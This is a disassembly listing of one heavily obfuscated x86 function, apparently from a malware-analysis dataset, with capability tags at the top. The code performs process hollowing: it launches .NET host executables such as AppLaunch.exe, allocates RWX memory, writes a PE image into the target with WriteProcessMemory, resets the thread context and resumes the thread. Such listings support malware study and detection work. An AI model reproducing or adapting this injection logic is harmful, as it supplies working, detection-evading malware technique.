Function at 0x10005550
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xec
mov eax, dword [0x10069400]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006a76c]
mov eax, dword [0x1006a768]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0xee], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0xed], al
mov dword [ebp - 0xf4], 0xeb3da40f
mov eax, dword [ebp - 0xf4]
mov dword [ebp - 0xf8], eax
sub eax, 0x815c8b9c
je 0x1000735f
jmp 0x100055c3
mov eax, dword [ebp - 0xf8]
sub eax, 0x819f377b
je 0x10007286
jmp 0x100055d9
mov eax, dword [ebp - 0xf8]
sub eax, 0x81bf6b30
je 0x10007e40
jmp 0x100055ef
mov eax, dword [ebp - 0xf8]
sub eax, 0x82dc2073
je 0x10006e42
jmp 0x10005605
mov eax, dword [ebp - 0xf8]
sub eax, 0x85db9a89
je 0x10007099
jmp 0x1000561b
mov eax, dword [ebp - 0xf8]
sub eax, 0x8635dc97
je 0x10007f0f
jmp 0x10005631
mov eax, dword [ebp - 0xf8]
sub eax, 0x8bb3bf42
je 0x10007413
jmp 0x10005647
mov eax, dword [ebp - 0xf8]
sub eax, 0x8d18261d
je 0x10007011
jmp 0x1000565d
mov eax, dword [ebp - 0xf8]
sub eax, 0x8de5039b
je 0x10006485
jmp 0x10005673
mov eax, dword [ebp - 0xf8]
sub eax, 0x931a0db5
je 0x10007f9c
jmp 0x10005689
mov eax, dword [ebp - 0xf8]
sub eax, 0x94128543
je 0x10007dac
jmp 0x1000569f
mov eax, dword [ebp - 0xf8]
sub eax, 0x94c948e7
je 0x10007464
jmp 0x100056b5
mov eax, dword [ebp - 0xf8]
sub eax, 0x9557fddf
je 0x10007dbb
jmp 0x100056cb
mov eax, dword [ebp - 0xf8]
sub eax, 0x97496c20
je 0x1000659d
jmp 0x100056e1
mov eax, dword [ebp - 0xf8]
sub eax, 0x98a8aa2f
je 0x1000688d
jmp 0x100056f7
mov eax, dword [ebp - 0xf8]
sub eax, 0x9af7e145
je 0x10008267
jmp 0x1000570d
mov eax, dword [ebp - 0xf8]
sub eax, 0x9e3f1f53
je 0x10007ec8
jmp 0x10005723
mov eax, dword [ebp - 0xf8]
sub eax, 0x9fd96d39
je 0x100069de
jmp 0x10005739
mov eax, dword [ebp - 0xf8]
sub eax, 0xa01b8223
je 0x100074e5
jmp 0x1000574f
mov eax, dword [ebp - 0xf8]
sub eax, 0xa3d69956
je 0x100066ca
jmp 0x10005765
mov eax, dword [ebp - 0xf8]
sub eax, 0xa9a60ab3
je 0x100067f5
jmp 0x1000577b
mov eax, dword [ebp - 0xf8]
sub eax, 0xab17b17d
je 0x10007cc0
jmp 0x10005791
mov eax, dword [ebp - 0xf8]
sub eax, 0xad1d7b5d
je 0x10008086
jmp 0x100057a7
mov eax, dword [ebp - 0xf8]
sub eax, 0xade500ff
je 0x10007eb6
jmp 0x100057bd
mov eax, dword [ebp - 0xf8]
sub eax, 0xaedd3ccb
je 0x100080bf
jmp 0x100057d3
mov eax, dword [ebp - 0xf8]
sub eax, 0xb34e3f11
je 0x10007846
jmp 0x100057e9
mov eax, dword [ebp - 0xf8]
sub eax, 0xb62fec7f
je 0x100076ea
jmp 0x100057ff
mov eax, dword [ebp - 0xf8]
sub eax, 0xb9945cea
je 0x100080e9
jmp 0x10005815
mov eax, dword [ebp - 0xf8]
sub eax, 0xb9b41c33
je 0x100079f3
jmp 0x1000582b
mov eax, dword [ebp - 0xf8]
sub eax, 0xba56ad86
je 0x10006937
jmp 0x10005841
mov eax, dword [ebp - 0xf8]
sub eax, 0xba68b53a
je 0x10007799
jmp 0x10005857
mov eax, dword [ebp - 0xf8]
sub eax, 0xba726d85
je 0x100062a8
jmp 0x1000586d
mov eax, dword [ebp - 0xf8]
sub eax, 0xbdf01b88
je 0x10007f1e
jmp 0x10005883
mov eax, dword [ebp - 0xf8]
sub eax, 0xc116c805
je 0x10007748
jmp 0x10005899
mov eax, dword [ebp - 0xf8]
sub eax, 0xc4e9815f
je 0x10006394
jmp 0x100058af
mov eax, dword [ebp - 0xf8]
sub eax, 0xcb35ee9a
je 0x10007a5e
jmp 0x100058c5
mov eax, dword [ebp - 0xf8]
sub eax, 0xcc8f56d9
je 0x10006628
jmp 0x100058db
mov eax, dword [ebp - 0xf8]
sub eax, 0xcd3cf18b
je 0x100063fb
jmp 0x100058f1
mov eax, dword [ebp - 0xf8]
sub eax, 0xd0c756e7
je 0x100081ed
jmp 0x10005907
mov eax, dword [ebp - 0xf8]
sub eax, 0xd1dcfe29
je 0x10007cb1
jmp 0x1000591d
mov eax, dword [ebp - 0xf8]
sub eax, 0xd34aebf6
je 0x10007f67
jmp 0x10005933
mov eax, dword [ebp - 0xf8]
sub eax, 0xd464d7fb
je 0x10006f65
jmp 0x10005949
mov eax, dword [ebp - 0xf8]
sub eax, 0xd476099d
je 0x100071cb
jmp 0x1000595f
mov eax, dword [ebp - 0xf8]
sub eax, 0xd819cd3a
je 0x10006fc5
jmp 0x10005975
mov eax, dword [ebp - 0xf8]
sub eax, 0xd946eca6
je 0x10006f14
jmp 0x1000598b
mov eax, dword [ebp - 0xf8]
sub eax, 0xd9ab58a6
je 0x10007b9d
jmp 0x100059a1
mov eax, dword [ebp - 0xf8]
sub eax, 0xda97815f
je 0x10006467
jmp 0x100059b7
mov eax, dword [ebp - 0xf8]
sub eax, 0xdb2853d3
je 0x10006679
jmp 0x100059cd
mov eax, dword [ebp - 0xf8]
sub eax, 0xdc6b1273
je 0x100078e7
jmp 0x100059e3
mov eax, dword [ebp - 0xf8]
sub eax, 0xdd90e3cf
je 0x1000650a
jmp 0x100059f9
mov eax, dword [ebp - 0xf8]
sub eax, 0xe091aa29
je 0x100072fc
jmp 0x10005a0f
mov eax, dword [ebp - 0xf8]
sub eax, 0xe97301a2
je 0x10006a4c
jmp 0x10005a25
mov eax, dword [ebp - 0xf8]
sub eax, 0xeb3da40f
je 0x10006086
jmp 0x10005a3b
mov eax, dword [ebp - 0xf8]
sub eax, 0xeb7872b6
je 0x10007550
jmp 0x10005a51
mov eax, dword [ebp - 0xf8]
sub eax, 0xeba6d81d
je 0x100066e8
jmp 0x10005a67
mov eax, dword [ebp - 0xf8]
sub eax, 0xf4a2404b
je 0x100060da
jmp 0x10005a7d
mov eax, dword [ebp - 0xf8]
sub eax, 0xf74d6b58
je 0x10007519
jmp 0x10005a93
mov eax, dword [ebp - 0xf8]
sub eax, 0xf7c07d39
je 0x10007c51
jmp 0x10005aa9
mov eax, dword [ebp - 0xf8]
sub eax, 0xf941d505
je 0x10006e72
jmp 0x10005abf
mov eax, dword [ebp - 0xf8]
sub eax, 0xfcc67a5a
je 0x100078f6
jmp 0x10005ad5
mov eax, dword [ebp - 0xf8]
sub eax, 0xffdc0ef2
je 0x100081a7
jmp 0x10005aeb
mov eax, dword [ebp - 0xf8]
sub eax, 0x12c6fcf
je 0x10007277
jmp 0x10005b01
mov eax, dword [ebp - 0xf8]
sub eax, 0x14cdda6
je 0x10007905
jmp 0x10005b17
mov eax, dword [ebp - 0xf8]
sub eax, 0x2414233
je 0x1000683c
jmp 0x10005b2d
mov eax, dword [ebp - 0xf8]
sub eax, 0x3beb750
je 0x10007595
mov bl, byte [ebp - 0xee]
mov dh, byte [ebp - 0xed]
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x9e3f1f53
mov ecx, 0xf4a2404b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10008280
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
sub esp, 0x10
mov eax, esp
mov dword [ebp - 0xdc], eax
sub esp, 0x44
mov eax, esp
mov dword [ebp - 0xd8], eax
push eax
mov eax, esp
mov dword [ebp - 0xd4], eax
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
push eax
mov eax, esp
mov dword [ebp - 0xcc], eax
push eax
mov eax, esp
mov dword [ebp - 0xc8], eax
sub esp, 0x1c
push eax
mov eax, esp
mov dword [ebp - 0xc4], eax
push eax
push eax
push eax
mov eax, esp
mov dword [ebp - 0xc0], eax
push eax
mov eax, esp
mov dword [ebp - 0xbc], eax
push eax
mov eax, esp
mov dword [ebp - 0xb8], eax
push eax
mov eax, esp
mov dword [ebp - 0xb4], eax
push eax
mov eax, esp
mov dword [ebp - 0xb0], eax
push eax
mov eax, esp
mov dword [ebp - 0xac], eax
push eax
mov eax, esp
mov dword [ebp - 0xa8], eax
push eax
mov eax, esp
mov dword [ebp - 0xa4], eax
push eax
mov eax, esp
mov dword [ebp - 0xa0], eax
push eax
mov eax, esp
mov dword [ebp - 0x9c], eax
push eax
mov eax, esp
mov dword [ebp - 0x98], eax
mov eax, dword [0x1006a76c]
mov ecx, dword [0x1006a768]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9e3f1f53
mov ecx, 0x2bab9830
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10008280
mov edx, dword [ebp - 0x90]
mov eax, 0xca00bfa
mov ecx, 0x544180ca
cmp edx, 0x5a4d
cmove eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10008280
mov eax, dword [ebp - 0x88]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x8c]
sub ecx, 0x30904179
add ecx, eax
add ecx, 0x30904179
mov eax, dword [ebp - 0xe0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0x84], eax
mov dword [ebp - 0xf4], 0x3b080667
jmp 0x10008280
mov eax, dword [ebp - 0xdc]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.100092e0
add esp, 0xc
mov eax, dword [ebp - 0xd8]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.100092e0
add esp, 0xc
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
mov dword [ebp - 0x80], eax
mov dword [ebp - 0xf4], 0xda97815f
jmp 0x10008280
mov eax, dword [ebp - 0x80]
cmp dword [eax + 0x70], 0
setne al
and al, 1
mov byte [ebp - 0x7a], al
mov dword [ebp - 0xf4], 0x8de5039b
jmp 0x10008280
mov eax, dword [ebp - 0xd4]
mov cl, byte [ebp - 0x7a]
mov byte [eax], cl
mov eax, dword [ebp - 0xd0]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319AppLaunch.exe
mov dword [eax], ecx
mov eax, dword [ebp - 0xd4]
mov dl, byte [eax]
mov eax, 0x7b29e201
mov ecx, 0x5d4da551
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10008280
mov eax, dword [ebp - 0xd0]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov ecx, dword [0x1006a76c]
mov eax, dword [0x1006a768]
mov edx, ecx
sub edx, 0x1bcb29ee
sub edx, 1
add edx, 0x1bcb29ee
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7217e8f3
mov ecx, 0x7fd6029b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10008280
mov dword [ebp - 0xf4], 0x5d4da551
jmp 0x10008280
mov eax, dword [0x1006a76c]
mov ecx, dword [0x1006a768]
mov edx, eax
add edx, 0xdc947abe
sub edx, 1
sub edx, 0xdc947abe
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8635dc97
mov ecx, 0xdb2853d3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10008280
mov eax, dword [0x1006a76c]
mov ecx, dword [0x1006a768]
mov edx, eax
sub edx, 0x4e942589
sub edx, 1
add edx, 0x4e942589
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x8635dc97
mov ecx, 0xa3d69956
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10008280
mov dl, byte [ebp - 0x79]
mov eax, 0xab17b17d
mov ecx, 0xeba6d81d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10008280
mov eax, dword [0x1006a76c]
mov ecx, dword [0x1006a768]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xbdf01b88
mov ecx, 0x27f310e5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10008280
mov eax, dword [ebp - 0x78]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0xe4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xdc]
mov ecx, dword [ecx + 4]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov edx, eax
mov eax, 0x524cf10c
mov ecx, 0x2414233
cmp edx, 0
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10008280
mov eax, dword [0x1006a76c]
mov ecx, dword [0x1006a768]
mov edx, eax
sub edx, 0x2e8d03e5
sub edx, 1
add edx, 0x2e8d03e5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd34aebf6
mov ecx, 0x98a8aa2f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10008280
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call fcn.10002770
add esp, 4
mov ecx, eax
mov eax, dword [ebp - 0xcc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
add eax, 0x18
add eax, 0x60
add eax, 0x28
mov dword [ebp - 0x74], eax
mov ecx, dword [0x1006a76c]
mov eax, dword [0x1006a768]
mov edx, ecx
add edx, 0xfcf53b90
sub edx, 1
sub edx, 0xfcf53b90
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xd34aebf6
mov ecx, 0xba56ad86
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10008280
mov dword [ebp - 0xf4], 0x118a439c
jmp 0x10008280
mov eax, dword [ebp - 0x70]
mov eax, dword [eax + 0x38]
mov ecx, dword [ebp - 0xdc]
mov ecx, dword [ecx]
xor edx, edx
sub esp, 0x14
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xc8]
mov dword [eax], ecx
mov dword [ebp - 0xf4], 0x5dd524c
jmp 0x10008280
mov eax, dword [ebp - 0x6c]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 0xec]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xc8]
mov edx, dword [edx]
mov esi, dword [ebp - 0xdc]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xdc]
mov ecx, dword [ecx]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.100036a0
add esp, 8
mov eax, dword [ebp - 0xec]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xe8]
mov eax, dword [eax]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0xc0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xe0]
mov ecx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, 0x18
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
movzx edx, word [eax + 0x14]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xbc]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb8]
mov dword [eax], 0
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xb0]
mov dword [eax], 0
mov dword [ebp - 0xf4], 0x5f070a12
jmp 0x10008280
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov dword [ebp - 0x54], eax
mov dword [ebp - 0xf4], 0xf941d505
jmp 0x10008280
mov eax, dword [ebp - 0x58]
mov ecx, dword [ebp - 0x54]
imul ecx, ecx, 0x28
add eax, ecx
mov ecx, dword [eax + 0xc]
mov eax, dword [ebp - 0xac]
mov edx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor esi, esi
sub esi, eax
mov edx, dword [ebp - 0x5c]
mov eax, 0xd819cd3a
mov ecx, 0x6a4f6383
cmp edx, esi
cmovbe eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10008280
mov eax, dword [0x1006a76c]
mov ecx, dword [0x1006a768]
mov edx, eax
sub edx, 0xffc6d069
sub edx, 1
add edx, 0xffc6d069
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xad1d7b5d
mov ecx, 0xd464d7fb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10008280
mov eax, dword [0x1006a76c]
mov ecx, dword [0x1006a768]
mov edx, eax
sub edx, 0x72cbdadb
sub edx, 1
add edx, 0x72cbdadb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xad1d7b5d
mov ecx, 0x48623766
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10008280
mov dword [ebp - 0xf4], 0x5afe5670
jmp 0x10008280
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0xf4], 0xff1856d
jmp 0x10008280
mov eax, dword [ebp - 0x50]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x49], al
mov ecx, dword [0x1006a76c]
mov eax, dword [0x1006a768]
mov edx, ecx
add edx, 0x4907099e
sub edx, 1
sub edx, 0x4907099e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x45a98713
mov ecx, 0x58800ab6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10008280
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov ecx, dword [eax + 0x34]
mov eax, dword [ebp - 0x48]
cmp eax, ecx
setne al
and al, 1
mov byte [ebp - 0x41], al
mov ecx, dword [0x1006a76c]
mov eax, dword [0x1006a768]
mov edx, ecx
add edx, 0xd196ed4d
sub edx, 1
sub edx, 0xd196ed4d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x500bb089
mov ecx, 0x56c17379
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10008280
mov dword [ebp - 0xf4], 0x819f377b
jmp 0x10008280
mov ecx, dword [0x1006a76c]
mov eax, dword [0x1006a768]
mov edx, ecx
add edx, 0x5e7aae2c
sub edx, 1
sub edx, 0x5e7aae2c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xaedd3ccb
mov ecx, 0xe091aa29
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10008280
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
mov eax, dword [0x1006a76c]
mov ecx, dword [0x1006a768]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xaedd3ccb
mov ecx, 0x469c07c6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10008280
mov edx, dword [ebp - 0x40]
mov eax, 0x49661d00
mov ecx, 0x609ac6b2
cmp dword [edx + 4], 0
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10008280
mov eax, dword [0x1006a76c]
mov ecx, dword [0x1006a768]
mov edx, eax
add edx, 0x98941777
sub edx, 1
sub edx, 0x98941777
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7f2c766d
mov ecx, 0x94c948e7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10008280
mov eax, dword [ebp - 0x9c]
mov eax, dword [eax]
mov dword [ebp - 0x38], eax
mov ecx, dword [0x1006a76c]
mov eax, dword [0x1006a768]
mov edx, ecx
sub edx, 0xd5459ae8
sub edx, 1
add edx, 0xd5459ae8
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7f2c766d
mov ecx, 0xa01b8223
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10008280
mov dword [ebp - 0xf4], 0x21f77b7d
jmp 0x10008280
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x9c]
mov ecx, dword [ecx]
movzx ecx, word [eax + ecx*2]
mov edx, 0xffffffff
xor edx, 0xf000
mov eax, ecx
xor eax, edx
and eax, ecx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0xf4], 0xeb7872b6
jmp 0x10008280
mov edx, dword [ebp - 0x34]
mov eax, 0xfcc67a5a
mov ecx, 0x294c33cd
cmp edx, 3
cmove eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10008280
mov dl, byte [ebp - 0x25]
mov eax, 0x6c262474
mov ecx, 0x44fa677d
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10008280
mov eax, dword [0x1006a76c]
mov ecx, dword [0x1006a768]
mov edx, eax
add edx, 0x86165b76
sub edx, 1
sub edx, 0x86165b76
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xffdc0ef2
mov ecx, 0xba68b53a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10008280
mov eax, dword [ebp - 0xdc]
mov edx, dword [eax]
mov eax, dword [ebp - 0x94]
mov ecx, dword [ebp - 0x24]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [0x1006a76c]
mov eax, dword [0x1006a768]
mov edx, ecx
sub edx, 0x443c1d4e
sub edx, 1
add edx, 0x443c1d4e
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xffdc0ef2
mov ecx, 0xb34e3f11
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10008280
mov dword [ebp - 0xf4], 0x6c262474
jmp 0x10008280
mov dword [ebp - 0xf4], 0xfcc67a5a
jmp 0x10008280
mov dword [ebp - 0xf4], 0x14cdda6
jmp 0x10008280
mov ecx, dword [0x1006a76c]
mov eax, dword [0x1006a768]
mov edx, ecx
add edx, 0x3cea98bc
sub edx, 1
sub edx, 0x3cea98bc
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6cf4e69d
mov ecx, 0x37ae2ff2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10008280
mov eax, dword [ebp - 0x9c]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
mov dword [ebp - 0xf4], 0x8bb3bf42
jmp 0x10008280
mov eax, dword [ebp - 0xb8]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xb8]
mov eax, dword [eax]
mov edx, dword [eax + 4]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xb8]
mov dword [eax], ecx
mov eax, dword [0x1006a76c]
mov ecx, dword [0x1006a768]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x24d4e46a
mov ecx, 0x1f889129
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf4], eax
jmp 0x10008280
mov eax, dword [ebp - 0x18]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x1c]
sub esp, 8
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax + 4]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov dword [ebp - 0xf4], 0x524cf10c
jmp 0x10008280
mov eax, dword [ebp - 0x14]
sub esp, 4
mov dword [esp], eax
